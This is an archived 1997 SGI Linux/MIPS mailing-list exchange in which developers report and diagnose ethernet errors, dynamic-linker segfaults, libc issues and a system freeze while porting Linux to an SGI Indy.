To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: Alex deVries <adevries@engsoc.carleton.ca>, linux@cthulhu.engr.sgi.com
Subject: Re: A report from the battle field...
References: <Pine.LNX.3.95.971129193017.26978E-100000@lager.engsoc.carleton.ca> <m0xcAil-0005FsC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <m0xcAil-0005FsC@lightning.swansea.linux.org.uk>; from Alan Cox on Sun, Nov 30, 1997 at 02:51:43PM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1027
Lines: 24

On Sun, Nov 30, 1997 at 02:51:43PM +0000, Alan Cox wrote:

> > 1. When I try to FTP a lot of files to it, it complains about "eth0: ".  I
> > guess it's just going too quick.  The file then becomes corrupt.  The
> 
> Yep. Part of that however might be the ftp binary - ncftp I get
> the eth0: errors but dont seem to get file corruption.
> 
> > 2. Execution errors on various programs:
> > - bash: 
> > do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess
> > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)
> > - pico (part of pine):
> > do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from
> > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)

These addresses are in the dynamic linker.  It's fixed in the CVS tree.
I however still see alot of unexplainable segmentation faults on my
machine.  Built from the same sources I don't see that problem on my
other machines, so I'd point at the Indy specific parts.

The crashes related to the ethernet are the most annoying things right now.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sun Nov 30 17:46:59 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA712339 for <linux-archive@neteng.engr.sgi.com>; Sun, 30 Nov 1997 17:46:59 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA12977 for linux-list; Sun, 30 Nov 1997 17:44:16 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA12939 for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 17:44:06 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA09400
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 17:44:02 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id UAA13237
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 20:41:41 -0500
Date: Sun, 30 Nov 1997 20:41:40 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: linux@cthulhu.engr.sgi.com
Subject: More news...
In-Reply-To: <19971130172918.59762@uni-koblenz.de>
Message-ID: <Pine.LNX.3.95.971130202217.22956K-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 980
Lines: 34


First, the good:

I have a lot working now. inetd works fine, apache is beautiful, and I can
telnet into my machine.  Yay!  Finally, I can work from elsewhere in the
world.

My machine is a lot faster now that I don't have to be on the console.
I'm lead to believe it's the display driver that's slow, not the whole
machine.  It "feels" like a P100 now.

The bad news:

Still more libc problems, but I'll quit whining about that since Ralf
kindly told me to cross cross my own.  I'm looking at my cross-compiler
problems now.

Next problem:
I was running a ./configure for the nfs-server package, and I got a few
segfaults, followed by many copies of this on the console:

release_dev: pty1: read/write wait queue active!

and finally:
Got a bus error IRQ, shouldn't happen yet
and a freeze.

- Alex

      Alex deVries          Rent this space for a $5 donation 
  System Administrator      to EngSoc per day.
   The EngSoc Project       Send spam to spam@engsoc.carleton.ca.



